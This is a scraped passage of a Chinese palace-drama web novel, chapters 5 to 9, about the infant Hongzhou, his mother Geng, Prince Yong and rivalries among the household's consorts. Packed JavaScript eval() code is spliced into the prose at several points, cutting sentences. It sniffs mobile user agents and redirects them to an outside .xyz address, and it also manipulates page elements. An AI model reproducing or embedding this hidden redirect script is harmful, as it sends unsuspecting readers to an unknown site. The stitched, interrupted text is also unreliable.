所以这小阿哥有一点不对劲的便是大事,这夏日来已经蔫儿了好几日了,院中几乎所有人都知道小阿哥最近不适。 “格格,不若奏明了福晋,请个大夫来瞧?”郑嬷嬷微微抬头说道。 她内心里是觉得五阿哥这是苦夏,但不怕一万就怕万一。而且这苦夏的症状实在有些严重了,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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耿执羽都一一答了,虽说身边有伺候的人,但耿执羽对孩子很是上心,一应的大小事都知道。 “五阿哥并无大碍,应当是苦夏了。”大夫捋了捋自己的山羊胡须说道,“今年夏日里比往年要热多了,小阿哥年岁轻,不耐热也是有的。并无什么大碍,若是外头日头大的时候吃不下东西,便在太阳落下后用些便是了,也不要全用热食,也可用些冷的,只要不用多便是。还有,格格这屋中是否有冰?” 耿执羽一愣:“我怕孩子年纪太小了,用冰不好,便将冰都收起来了。” “屋内太热,便在角落摆上一个冰盆,离阿哥远些。只要不放到近前,摆在远处让屋内凉爽些阿哥也会舒服些。”大夫闻言,摇了摇头说道,“这几日的食欲不振精神不济皆因天热,阿哥身上并无病痛,便不宜开药了。” 送走了大夫过后,耿执羽便马上命人摆了冰盆放在角落处。过了一会儿,弘昼感觉到屋内果然没有那么热了,才恢复了些精神。 看得耿执羽懊恼不已,若是早早便摆上的话,小五也免了遭这几日的罪了。 福晋那边听了大夫的回复,抬手给两个有孩子的格格院中冰的分量加多了些。也派了人过去告知了钮祜禄氏一声,免得让四阿哥也苦夏了。 而忙了一日的四爷回府便听闻了泗水院五阿哥叫了大夫的事情,洗漱过后便往泗水院走去。 5. 第 5 章 第5章 此时天色已近傍晚,金乌西垂,只剩下了一丝余晖。空气里虽然还弥漫着热气,但比之下午的时候也是要凉爽些了。 苏培盛见四爷听完禀报便往泗水院去,心中将泗水院的五阿哥在心中提了一个档次。最近朝中事务繁杂,四爷多半是要等天黑了才能回家,今儿好容易早些回来了,本以为自家主子是要好好休息一下的。 没想到一听到五阿哥有些苦夏,便立刻往泗水院中去了。要知道方才来禀报的人明明白白地说了,大夫说了五阿哥无碍的。 小孩子觉多,弘昼在喝了半碗羊奶之后,感受到天气已经不似白日里那般热了便沉沉睡去。这几日中,白日里他是睡不着了,便趁着天黑的时候多睡会儿。 耿执羽坐在一旁摆弄着自己手中的一卷书,这是孩子启蒙用书,耿执羽便想着先瞧瞧。等日后找了人来给孩子启蒙的时候,自己这个额娘不能一点儿都不懂。 不过看了几行字后便有些不耐了,将书放到了一边,看着已经闭上眼睛的弘昼。 小小的孩子头上已经长出些黑色的毛毛了,但天气太热,小孩子又火气旺。即便已经天黑了,依旧是睡出了一脑袋的汗。 执起手中的锦帕,正准备给孩子擦擦,就听见外面传来的请安声。 四爷大步流星走了进来,看见里头只点了两盏灯,显得室内的光线有些昏暗。又看弘昼已经睡着在床上,似是睡得正香,还咂巴了两下嘴巴。 “妾身给爷请安。”耿执羽连忙起身,礼还未行完就见到四爷一挥手示意她起来。 来到床边,仔细瞧了瞧弘昼。见他热的一脑门的汗,不禁微微皱了皱眉,又看小孩子似乎睡得正香,抬头在弘昼的脑门上摸了摸,湿湿热热的。 “听闻你上午的时候叫了大夫?”四爷声音放得很轻,毕竟孩子还睡着呢。 耿执羽点了点头,有些不好意思:“妾身毕竟第一回养孩子,见这两日弘昼精神不济,又吃不下东西便派人回禀了福晋找了个大夫来瞧瞧。大夫说了无大碍,只是苦夏,也教了妾身在屋内角落处放冰盆,让房子里不那么热的法子。” “孩子有不适,叫大夫是对的。”四爷问道,“之前为何不用冰,可是份例不够?” “孩子年纪太小了,并不敢用冰。”耿执羽道,“怕他受了凉,这夏日里若是受了凉最是难受了。份例是足够的,今儿福晋听说了这件事,还格外又加了冰的份例。” “福晋一贯是贤德的。”四爷点了点头,脸上微微露出了点满意之色。福晋一贯的行事作风他都是很满意的,所以对这个妻子他一向都是极为敬重的。 原本已经睡觉的弘昼,此时也被床边的说话声吵醒了。原本他睡得就不算很熟,这旁边一句接着一句的聊天,很快就让他从睡梦中醒来。 微微睁开眼睛,迎面而来的便是一张略有些冷肃的脸。 弘昼眨了眨眼睛,这就是自己的那位阿玛了。好像有好久都没看到了,自己都快要忘记这张脸了。 四爷微微一愣:“小五醒了?” 耿执羽往床上一瞧,果然见儿子已经睁开了圆溜溜的眼睛正盯着自己瞧。不由有些懊恼,方才就该把爷引出去的,这下吵到孩子睡觉了。 “啊……啊……饿凉……”弘昼张口咿咿呀呀叫了起来,尝试着想要喊额娘。 但之前尝试了那么多遍的额娘都没有成功,却在这时成功了。额娘虽然喊得不标准,但也让耿执羽当即便愣了。 听着儿子的一声额娘,耿执羽不知为何眼眶忽然一热。直接忽略了旁边的四爷,而是看向了正站在自己身后的伏云惊喜道:“刚刚,刚刚小五喊我了,你听到没有?” “听到了听到了,恭喜格格。”虽说小阿哥的这声额娘声音不算大,发音也不算标准,但伏云却是听了个清晰,当即也是满脸笑意地恭喜格格。 “小五,弘昼,乖孩子再喊一声额娘。”耿执羽觉得自己的眼眶似是马上有泪便要落下来,盯着弘昼轻哄道,“再叫一声啊。” 旁边的四爷莫名地觉得自己被忽视了,扭过头来看了一眼耿氏,见耿氏的眼睛只盯着床上的那个孩子一丝眼神都没有分给自己。而看向了床上之后,发现弘昼也是盯着他额娘,不曾看一眼自己这个阿玛。 莫名觉得被排斥了。 “额凉!”弘昼又叫了一声,他很是惊喜自己现在竟然能讲出话来,虽说好像还是有点不标准。 “欸!”耿执羽应了一声,听到这一声额娘,只觉得自己这几个月真真没有白养。孩子会说话了,第一个叫的就是自己这个当额娘的。 一直被忽视的四爷有些不悦地咳嗽了两声,沉浸在儿子终于会说话的耿执羽才回过神来,发觉自己忽视了这位爷,才赶紧冲着弘昼说道:“来小五,这是阿玛,叫阿玛。” 四爷看向弘昼的眼神中也带了一缕期待之色,除却弘晖之外,其余的几个孩子几乎都是教养到了懂事的时候他才多加亲近的。一方面是因为外头事情实在是忙,另一方面则是因为孩子的额娘会早早就教孩子怎么叫阿玛,盼着他过来瞧孩子的时候能对孩子印象好些。 根据方才耿氏的模样,这应当是小五这小子头一回说话。这个认知让他的心中也不由自主升起了一抹期待,似乎是看到了孩子的一个重要的成长过程。 弘昼的眼睛眨了眨,看了看这位自己没见过多少面的。心里想了想,自己和额娘现在还是要依靠这位阿玛的,现在让他对自己的印象好些似乎也不错。 张嘴便唤道:“啊啊……吗……” 虽然是一声不算标准的阿玛,但却让四爷冷肃的脸上浮现出了一丝浅淡的笑意。轻轻应了一声,将弘昼从床上抱了起来。 这可难得,四爷一直是讲究不抱子的。除却弘昼刚生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从泗水院离开的四爷心情明显不错,苏培盛也感受到了自家主子的好心情。方才回府的时候可是颇为沉郁的,毕竟这几日的差事办得不算顺。 正院 “爷一回来便去了泗水院?”福晋手里捻着念珠的手微微一顿,看向了温术。 温术点了点头:“听闻在前院换了身衣裳便去了泗水院,不过似乎只是瞧了瞧五阿哥便走了。” “爷这几日忙着,记得让厨房送些滋补的汤去。”说完这句后福晋便不说话了,继续捻着自己手中的念珠。心里盘算着,果然这两个孩子降生分了些爷的心思。怀恪被封郡主,李氏那里的气焰着实太高了些,还是得抬一抬钮祜禄氏和耿氏来压一压。 现在先不急,马上便是弘历的抓周了。便在抓周的时候大办一场,只能委屈委屈怀恪了,封郡主便在自己家中庆贺一番便是了。 6. 第 6 章 第6章 “恭喜姐姐,贺喜姐姐。”看着钮祜禄格格带着弘历来访,耿执羽的眼眸几乎弯成了月牙,笑声如银铃般清脆,“听闻这回福晋要给四阿哥的抓周大办呢,说是府中多年没有这样的大喜事了。” 抱着弘历的嬷嬷将孩子放到了弘昼旁边,弘历看见弟弟当即笑了出来:“弟弟,弟弟!” 已经快一岁的弘历能清晰说出些词语了,比之弘昼含糊不清的发音,他是要清晰许多的。 “世……”弘昼回应道,“哥……哥。” 看着两个孩子玩得好,钮祜禄格格的眼眸中多了一丝暖意,挥了挥手让自己带来的下人们都下去了。 耿执羽带着笑意的眸中多了一丝疑惑,但也让身边人都下去了。 “姐姐这是怎么了?” 原本和这个小孩子四哥正在玩闹的弘昼立刻竖起了耳朵,这一副要说秘密的样子,让他心底不由生出些好奇来。从前钮祜禄姨姨过来的时候,多半是来和额娘一起说说话的,有时候她们也会自己做些别的东西,但像这样把其他人都叫出去还是头一次。 似乎是感受到了弟弟的注意力不在自己的身上,弘历当即就不干了。一手扯着弘昼的衣裳,一边呜呜咽咽地说着什么。 说句奇话,弘昼其实能听懂四哥说的话。就算四哥的发音有时候很不标准,以至于奶娘和钮祜禄格格都不一定能听懂,但弘昼就是能听懂。或许是因为同为小孩子的缘故,但弘昼拒绝承认这个原因。 伸出手敷衍地安抚了一下四哥,弘昼的注意力还在两位额娘身上。 “福晋要给四阿哥抓周大办,姐姐怎么还不高兴了?”耿执羽执起茶壶给钮祜禄格格倒了一杯茶,语气有些疑惑。 既然说是要大办,那就是要请京城的王公贵族前来赴宴的。按照四爷如今在京城的威势来说,这京城中排得上号的人家都是要来的。 这样能让小阿哥露脸的好事,不应当这般愁眉苦脸的。 “你可知福晋为何突然说着要将弘历的抓周大办?”钮祜禄格格在耿执羽身旁坐下,没有喝茶,凝着眉问道。 耿执羽一挑眉:“不是说是因着府中许久没有这样的喜事了吗?” “是因着二格格得封了郡主,”钮祜禄格格低声说道,“最迟今年底二格格便要出阁了,福晋是不想二格格出阁之前还让李侧福晋得意一场。若弘历的抓周大办了,短时间内也不好大办二格格得封郡主的事了。” 耿执羽撇了撇嘴:“又是福晋和李侧福晋相斗,拿咱们这些小格格做筏子。不过这件事福晋既然放出风声来,想来爷也是知道的,爷和福晋都同意的事情,咱们也没什么办法。姐姐不如往好处想想,既然咱们改不了,便趁着现在弘历这样热闹的办一回,府中上下都知道福晋和爷看重四阿哥,日后去了前院也不会被人怠慢。” 府中除却四爷和福晋外,其余的日子过得好不好,端看这两位愿不愿意。小主子也是一样的,同是格格生的孩子,福晋和爷看重的话下头人们自然不敢怠慢,可若福晋和爷不看重,这格格又是个不受宠的,即便是小主子也得不了多少照顾。 “你说的我又如何不知?”钮祜禄格格的眉还是拧起来的样子,叹道,“可这府中这段日子起了些流言,你知不知?” “什么流言?” 钮祜禄格格的声音更低了些:“说是四爷预备着再立一位侧福晋。” “什么?!”耿执羽不自觉惊叫出声,反应过来后立刻压低了声音,“福晋治家极严,怎么会传出这样的传言。” 弘昼眨了眨眼睛,侧福晋,是侧室的意思吗?他前世对于清朝的历史不算很了解,也就知道最著名的那几个皇帝,什么康乾盛世,康熙乾隆之类的。其余的是一点都不了解的,毕竟他对这一块历史并没有特意了解过,也不爱看清宫剧。 见弟弟不理自己了,弘历翻了个身往那边拿起了弘昼的布老虎又翻了过来想和弟弟一起玩。 弘昼敷衍地拿着布老虎舞了两下。 “福晋这时候给弘历大办抓周,府中又出了这样的流言,那东侧院那边岂非要将姐姐视作眼中钉?” 一个被上头的娘娘或者皇上赐下来的格格,在府中也就比侍妾要高一等,并无资格上玉碟。可若是能成为侧福晋,便能上玉碟,孩子的身份也能高一等。 要说耿执羽不想成为侧福晋,那肯定是假的。 可是府中这仅有的一个李侧福晋是因着宠爱还有生了三子一女才得来的,耿执羽自问在四爷那里没有这样的宠爱。自己如今又只有弘昼一个,甚至自己身份上不过是汉军旗的包衣。升为侧福晋这样的事情,若说兮兰姐姐因着是钮祜禄大姓的满军旗尚还有两分可能,她便是一分都没有的。 钮祜禄眼眸中透出了冷意:“正是如此,这两件单来一件都还好说。如今凑到了一起,只怕是李侧福晋那边便是立刻要深信不疑了。往日里她为难咱们也不过就是说几句不好听的话,可若是听见这个苗头,只怕要使些手段出来了。” “姐姐其实不必太害怕。”耿执羽说道,“倘若爷当真上请将姐姐封为侧福晋,那你和李侧福晋便是平起平坐的了。” “只怕根本没这回事。”钮祜禄格格很冷静,“四爷在外头的事情咱们不知道,可若要立侧福晋为何不另娶一位高门贵女进来?咱们俩在这后院中皆不算得宠,若是光凭孩子便能封侧福晋,那李侧福晋在爷还是光头阿哥的时候就该是侧福晋了。” 李侧福晋是在生了弘时之后才被请封的,那时候弘昐尚且还在。李侧福晋手中两个儿子一个女儿,还有着四爷的专宠才摸到了那个位置,钮祜禄氏不觉得自己如今有她当年的一半。 “那这流言是从哪里流出来的?”耿执羽略带迟疑,对上了钮祜禄氏的目光。 一时间她们的眼神交汇,似乎都在对方的目光中读出了同一个意思。 “若是姐姐和李侧福晋斗起来,那得力的会是谁呢?” 这府中的格格比之其余王府动辄十来个的并不算多,除却连失两女已经心灰意冷终日在佛堂的宋格格。再撇去已经被福晋制裁的程格格,又去掉几个尚且还是侍妾,连格格都不算的。便只能剩下一个人了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990869|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武氏。 之所以不觉得是福晋,便是因为对于福晋来说再上位一个有着阿哥的满洲大姓侧福晋并不是什么好事。倘若一定要在这两个生了孩子的格格中挑一个封侧福晋,福晋必然会偏向耿氏。 弘昼在旁边听得目瞪口呆,原来还有这样的事情,这后宅看起来也不是很太平啊。 “李侧福晋若是和姐姐斗起来了,必然是姐姐吃亏。”耿执羽的星眸中带上了怒意,“若是姐姐吃亏她也不损失什么,若是李侧福晋吃亏她正好乘着这股东风,分些宠爱。” “想来是这几日中,咱们不搭理她,让她急了。”钮祜禄格格的眼眸微微垂下,语气平静无波,只轻轻转动着自己皓腕上那只碧绿的镯子,整个人透露出冷淡和克制。 “可这样的话传出去,姐姐又如何说得清。” 李侧福晋的脑子,在后院中公认是没有的。即便如今她在这后院中也待了快二十年了,但也并无增长一丝一毫的心计,这样粗浅的招数对于别人无用,但对李侧福晋是一用一个准。 毕竟若是钮祜禄格格成功成了侧福晋,李侧福晋便不再是福晋手底下第一人了。她引以为傲的弘时,也不再是唯一一个侧福晋的孩子了。 前面那个李侧福晋忍不了,后面那个更忍不了。她几乎已经将弘时当成雍亲王府的继承人了,自然不愿意突然杀出来一个对手。 若只是后院出一两个格格侍妾之类的分了她的宠,她心里虽然会泛酸,但到底不会太过当一回事。可这涉及世子之位,就完全不同了。 而感受到危机的李侧福晋所做的事情却是惊掉了一些人的下巴,她既没有去找钮祜禄格格的大麻烦,也没有去寻福晋一定要给怀恪封郡主的事情办宴。而是直接在四爷去她那里的时候,撺掇着四爷上折子将弘时立为世子。 这段日子,会试的功夫终于忙完了。四爷也得了闲终于能在天色还亮着的时候回府,念着这段日子忙着许久不曾见到李氏和怀恪了,便往东侧院而去。 “女儿参见阿玛。” “妾身参见爷。” 怀恪这段日子没见到阿玛,如今突然一见眼睛里满满的都是喜意,嘴角不自觉地上扬了起来。 宗室的郡主也多半是要抚蒙的,怀恪知道自己能留在京城中是阿玛下了不少功夫的。特别是留在京城中还能让自己从郡君封为郡主,都是因着阿玛的一片慈心。 亲王的嫡出女儿封郡主,庶出的一般只能封郡君。 李侧福晋脸上也满是喜意,素白的脸上浮现出了些笑。 看到女儿的时候四爷眼底划过一丝暖意,微微抬手:“不必多礼。” 刚坐下还没说上几句话,李侧福晋便暗示着女儿退下了。抬眼看了看坐在上首执起一盏茶喝了一口,明明坐着却依旧散发着摄人气场的男子,鼓起勇气暗示。 “妾身前几日见了诚亲王府的田侧福晋,”李侧福晋一边说一边观察着四爷的神情,“听闻诚亲王预备着奏请封长子弘晟为世子呢。” 四爷端着茶盏的手顿住了,抬眸目光犹如一支利剑望向了李侧福晋处。 7. 第 7 章 第7章 那眼神之中透出的寒光让李侧福晋吓了一跳,这么多年她还从未见过四爷在她面前露出这般的神情。 从前即便是不高兴了,也多是皱皱眉,或直接斥责出来。这样的眼神里透着冷意和杀意的样子,从未见过。 “这话是谁教你说的?”四爷冷淡的声音响起,话语中蕴含着明显的冰冷气息。 “妾,妾身……”李侧福晋不由有些慌乱,她的嘴微微张着,眼睛里马上蓄满了泪水,泪珠在眼眶中欲坠不坠。这样的姿态,搭配着她清丽的脸,看上去如同夏日里荷花上的晨露一般,美极了。 但四爷的神情却没有丝毫的变化,冷冷地盯着李侧福晋。 在这后院中的女人中,四爷最喜欢的的确是这朵解语花。在他看来,李氏虽然不大聪明,但是很知进退不会随意乱问外边的事。又给他生了好几个孩子,特别是怀恪这个女儿,只要一看到这个乖女儿,四爷便觉得自己全身的疲惫似乎都消散了。 但四爷对于李氏的宠爱也是有限度的,可以给她府中仅次福晋的尊荣。可以将她从格格的位置抬到侧福晋的位置上,也可以在拿到什么新奇好玩的东西给她留一份,但绝不会允许她干涉立世子这样的大事。 尤其在这样的当口,外面那样的形势,又怎么能轻易立世子。以弘时的脑子,怕是刚立了,过上两个月便被老八哄得什么都忘了。 “妾身不过是怕这钮祜禄氏和耿氏又生了两个小阿哥,”李氏见四爷冷盯着自己,似乎一定要个理由,当即哭道,“弘时往日里便不得爷的喜爱,爷总是怨他没有弘昐聪明,怕这又有了两个小阿哥了爷便更不喜欢弘时了。” 说着,李侧福晋似乎说到了伤心处,垂着脑袋呜呜咽咽地哭了起来。长发微微有些散乱,有的落下来遮住了她的表情,唯有单薄的肩膀轻微地颤动能看出她的伤心。 这样可怜的姿态,若是同以往一般只是犯了小错。四爷或许便不会过多追究了,但方才李氏的话却如同洪钟一般在他的心里敲响。 这样的大事绝不能轻易姑息,倘若这次轻轻放过了。那以后便不会少这样的事情,特别是在这两年间,自己的后院绝不能出让人诟病的事情。 四爷站起身俯视着李氏,胸膛里燃烧着一团怒火。现在自己还正当壮年,便开始想着世子的位置了,想到这直气得呼吸声都浓重了起来。在这一刻,他竟有些共情起了宫里头的汗阿玛。 啪—— 手里的茶盏被掷了出去,砸在了地上摔得四分五裂,李侧福晋被吓得浑身一抖。 “如今我还没病没灾的,便惦记起世子之位了。”四爷的语气带着明显的怒火,“你这段日子便在东侧院中好好反省,若无我的命令,不得外出。” 说罢,便迈着大步从李侧福晋旁边走过。 苏培盛听着里面传来的砸东西声音,心中警醒了一下。想必爷现在的心情是不会好的,等会儿自己定要好好伺候,免得撩了老虎的须子了。 外头伺候的人也都听见了这一声砸东西的响动,四爷从未在东侧院发过这样的火。一时间个个低眉顺眼,等着四爷和随行的人走出东侧院后,李侧福晋的贴身侍女才进了屋内。 “侧福晋,侧福晋方才是说了什么惹恼了爷?”梅枝上前两步想要将李侧福晋扶起。 李侧福晋方才被吓得脱了力,就着梅枝的力道才能起身,眼睛里的泪珠一颗颗往下落:“我……我不过说了让爷早些上请封弘时做世子罢了,难不成除却弘时爷还能封别的人不成?” “侧福晋怎能在爷面前说这样的话?”梅枝吓了一跳,震惊地抬头看向了李侧福晋。 梅枝是在李侧福晋还是李格格的时候跟着她的,那时候四爷还未出宫开府。一起在宫里阿哥所熬出来的交情,让李侧福晋很是信赖这个身边的侍女,也让梅枝在李侧福晋面前说话没有什么顾忌。 李侧福晋扭头看着她,脸色愤愤:“怎么就不能了?弘时是长子,福晋没有孩子,按规矩本就该立弘时。难不成爷还想着要立那两个格格所生的孩子不成?” 梅枝闭了闭眼,在心中叹了口气。这么多年了,按理来说也该长些心眼了,但为什么自家主子还是这样的……单纯。 “额娘?”怀恪从外面进来,脸上还带着惊惶之色,“听下人说阿玛方才拂袖而去,这是为何?” 李侧福晋已经被扶到椅子上坐着了,看着信赖的女儿过来了,原本已经止住了泪水便又涌了出来。将方才的话说了一遍,听得怀恪脸色有些发青。 “额娘真是糊涂!”怀恪咬了咬牙,来到李侧福晋身边低声说道,“三弟本就是弟弟中最大的,只要额娘好生顿催他念书,友爱弟弟,阿玛自然能看到三弟的好处。三弟可是比四弟五弟要大上七岁,日后三弟都娶妻生子在外头办差了,这四弟五弟都还在念书呢。” “三弟大这么多,又有您这个侧福晋做额娘本就是赢面极大的。只要好好地不犯错,阿玛自然会高看一分。但您却偏偏要主动提出来,须知阿玛如今正是春秋鼎盛之时,您提出这样的事情,只会让阿玛觉得咱们院中在算计他。反倒是让阿玛看低了些三弟,想必这几日三弟在前院的日子也不会好过。” 李侧福晋听着女儿的话,脸色一点一点灰暗了下来。 这个女儿自幼便极为聪慧,李侧福晋知道女儿要比自己聪慧不少的,往日里也多是要和女儿商量后再行事。可这件事毕竟不适合与女儿说,况且女儿这两月间在备嫁本就繁忙,便没想着与女儿商量。 这一下子就出了大差错。 怀恪看着自家额娘暗淡下去的脸色,有些不忍:“额娘放宽心,过几日便是四弟的抓周了,到时候您定是要出去迎客的,阿玛必然不会多关您。只一点您一定要记住,日后对世子之位的事情,一个字也不要提。” “额娘知道了。”李侧福晋讷讷答道,她最重要的是这一双儿女,如今自己做了错事可能要影响弘时已经让她极度惭愧了。 四爷在东侧院拂袖而去的事情立刻便在后院传开了,李侧福晋一贯得宠,这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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娑鸣停下了正在绣花的手,往那边瞥了一眼,笑意在眼中流转:“五阿哥和四阿哥亲近呢,兄弟之间亲近些才好。如今年岁小了亲近些,日后大了便知道兄友弟恭了。” 两位阿哥的奶嬷嬷见格格没有要管的意思,便也不上前去将两位阿哥分开了。而是纷纷带着笑意看着这一幕,小孩子这个时候最好玩了。 叫了半天,见额娘不搭理自己。或许是因为变小了的缘故,弘昼也觉得自己幼稚了许多,当即放声号啕了起来:“呜呜呜呜……额凉……” 听到弟弟的哭声,弘历迷茫地抬起了脑袋,放开了自己抱着的那条腿。往前爬了两下,到了弘昼面前,见弘昼埋着脑袋呜呜咽咽的样子伸出手拍在他的脑袋上。 “乖,不哭。” 这学着钮祜禄格格往日哄他的样子哄弟弟的模样让旁边围观的人更笑出了声来,弘昼哭了两下也觉得没面子,在嬷嬷将脸上的泪珠擦去之后便也不哭了。 这让刚走进来的四爷,眼眸中闪过了一丝笑意。 8. 第 8 章 第8章 四爷这次过来是想着也有阵子没见弘昼,趁着今日还算空闲过来瞧瞧。上回来的时候弘昼刚学会喊阿玛,喊得还不大标准,不知道这回能不能说清楚话了。 刚进院子就看到了西厢房的门大敞着,耿执羽带着几个侍女正坐在门口瞧着里头两个孩子玩闹着。走近一瞧,屋内铺了厚厚的地毯,两个孩子正在地上趴着,弘昼似乎还哭了。 “妾身参见爷。” 耿执羽刚笑话完儿子,扭过头就看到了四爷站在院中正盯着这里。当即吓了一跳,离开便起身行礼。 围着格格的侍女们也吓了一跳,都站起身来。 “都起来吧。”四爷随意地说道,走进西厢房就看到那两个小家伙似是听到了,一个个扭过头来往这边看。 两个小家伙都趴在地毯上,扭过头来往这边瞧的模样很是可爱。 但耿执羽却有些忐忑地看了一眼四爷的脸色,她从前在家中的时候额娘和阿玛养孩子并不大精细,反而有些糙。生了弘昼之后,分了些嬷嬷侍女过来,才知道皇家养孩子一贯都是极为精细的,有些事情她听从嬷嬷的建议,但她也不大愿意将孩子养得太精细。 现在四爷过来看见了,不知道会不会怪罪。 “阿玛——” 弘历保持着扭过头往这边看的姿势,嘴上喊了一声。然后就想要站起来似的,但一直站不起来,弘昼还坏心眼地拉了四哥两把。 被五弟拽着站不起来的弘历迷茫地眨了眨眼,扭过头不解地看着五弟。 弘昼却根本不管这些,他一心只想着要报了方才的仇。至于什么请安,什么阿玛过来了要打招呼之类的,拜托我可是个不满一岁的小孩,不懂事难道不是很正常的吗? 站在门口的耿执羽和四爷就看见了两个小孩子打闹的全过程,四爷眼底的笑意更浓郁了些。也进了屋子走到了弘历和弘昼的身边,席地而坐。 耿执羽看到这一幕眼睛瞪大了些,她往日里见到四爷的机会并不多。四爷在她的眼中一直都是一个有些严肃冷漠的人,她看着就觉得有些发怵,更别说亲近了。今日看着四爷倒是柔和了些,也是她头一回见到这样的。 娑鸣轻轻碰了一下自家主子,耿执羽回过神来才赶紧叫人去沏茶。 “阿玛,阿玛。”弘历看到阿玛进来之后,眼睛笑成了月牙一般的模样。他刚才站起来失败,就地坐在了地毯上,此时拍着手的模样格外的可爱。 弘昼趴在地毯上,也识趣地跟着叫了几声。阿玛这两个字他已经能喊清楚了,往日里见不到这位阿玛的时候,额娘在教自己学说话的时候也会让自己喊几声。 见弘昼依旧趴着,四爷上前将孩子抱了起来问道:“你们方才在做什么?” “在,和弟弟,玩。”弘历眨巴了一下眼睛,嘴里的话是一个词一个词吐出来的。 “那怎么弘昼方才还哭了?” 听到阿玛的问话,弘历仿佛听不懂一般,睁着乌溜溜的大眼睛看过去。嘴里一直喊着阿玛弟弟,其余的便什么都不说了。 弘昼看着四哥,心中想道,看起来自家四哥是个白切黑类型的啊。他刚刚和自己说话的时候,可没有半分听不懂的样子。 毕竟弘历的年纪还小,四爷只是以为这是孩子还不大能听懂大人的话,也没有深究。只是笑着和两个孩子摆弄了一会儿耿执羽吩咐人放在一旁的布偶玩具等东西。 看着四爷和两个孩子玩闹的画面,耿执羽眼中暖意流转。 四爷如今是和硕亲王的爵位,按理来说这府中会有一个阿哥被立为世子,承袭爵位待四爷百年之后便能成为郡王。 这府中的三位阿哥中,耿执羽冷眼瞧着三阿哥弘时居长,比下头的两位弟弟要大上七八岁。额娘又是李侧福晋,比自己和兮兰姐姐都要高上一头,是最可能被封为世子的。 而弘历和弘昼中,自己和兮兰姐姐虽说都是格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但这回不同,四爷最近在朝堂上春风得意很是办成了好几件差事。而且谁都知晓四哥府上子嗣单薄,多年来只有一儿一女,去年才又得了两位阿哥。这难得的喜事,自然也不好不去。 本来这和弘昼应该是没有什么关系的,毕竟他年纪太小了。这次抓周宴的主角是弘历,弘昼最多也就是在四哥抓东西被抱过去看一眼,然后就回到泗水院中待着。 但不知怎么的,前头的皇子们闹着要看看四爷去年降生的两个孩子。 9. 第 9 章 第9章 今日起得极早,即便今日不是主角,弘昼也被早早地抱起来收拾了一通。 年纪小的好处就在这里,弘昼被奶娘抱着迷迷糊糊睡了过去。直到被抱到前院的时候才醒了过来,往外面看的时候眼神里充满了好奇之色。 平日里的活动范围就是泗水院,偶尔去去玉池院。最远的一次还是额娘带着自己去正院请安,但是到前院这样的距离弘昼就从未去过了。 “五阿哥给王爷请安,给各位爷请安。”郑嬷嬷抱着弘昼行礼。 阿哥年纪太小了,尚且不能走路,更别说是行礼了。往日里的场合也没人会深究这个,可如今院中都是皇亲贵胄,这样的大场面必然不能短了一点礼数。 “将孩子抱过来吧。”上首传来了冷淡的声音,四爷眸色深沉,语气隐约能听出一丝不快。 “这就是四哥新得的小阿哥吗?”旁边传来了一道轻佻的笑声,“这么多年了,难为四哥终于又得了两个小阿哥,上回来四哥府上的抓周宴,仿佛都是十年前的事情了。哎呀呀,都怪弟弟府中孩子太多了些,每隔两年都要办一回这样的宴。” 周围的温度似乎降了几度,其余的皇子们大部分望天望地,只不看老四和老九的位置。虽然知道这俩人自幼便不合,但在这样的场合找四哥的不痛快,真不愧是老九,胆子就是大。 弘昼抬眼想要往说话的那地方看一眼,这话一听就知道说话的这人和自家阿玛肯定不对付。但是听着他叫他四哥,那应该就是阿玛的兄弟了。 一片安静声中,十三爷胤祥看了看四哥的脸色正准备说话,就听见被奶嬷嬷抱在怀中的小孩子开口了。 “阿玛……阿玛抱……” 小孩子稚嫩的声音打破了场间尴尬的安静,四爷的目光扫过来看见弘昼正在奶嬷嬷的怀中朝着自己这个方向伸出了手。往日里去泗水院见这小家伙,可没有这般的主动。 “咦,这小家伙尚且未满一岁吧,竟然就会叫阿玛了。”淳郡王胤祐素来是个老好人,连忙开口缓解气氛,“这孩子瞧着就是个聪明的。” 四爷的脸色缓了缓,他不清楚小孩子多久说话算聪明,但他能听出七弟这话语中递台阶的意味。 伸出手将弘昼接到了怀中,脸上扯出了一抹笑:“往日里娇惯过了,一见着我便要抱,让诸位见笑了。” 八贝勒胤禩意味深长地看了一眼四爷抱着孩子的场面:“往日里见四哥多是冷脸肃穆的模样,却不想在家中也是这般娇惯幼子的。” “想来是这年纪上来了,也就生出些慈父心肠了。”恒亲王胤祺插了一句嘴笑道,“我年轻的时候瞧着刚出生的孩子,想的都是该如今教才能叫他上进些,日后也多学些本事要既能办差又有学问才好。可如今瞧着这刚出生的孩子,只想着他能福备箕畴,万事顺遂便是最好的了。” 这几句打岔的话出来,方才被老九羞辱到脸上的不悦也散了些。四爷脸上神情愈发和缓,心中给老九记了一笔日后慢慢算,但今日却不能出差错,若是出了差错丢的只会是自己的脸。 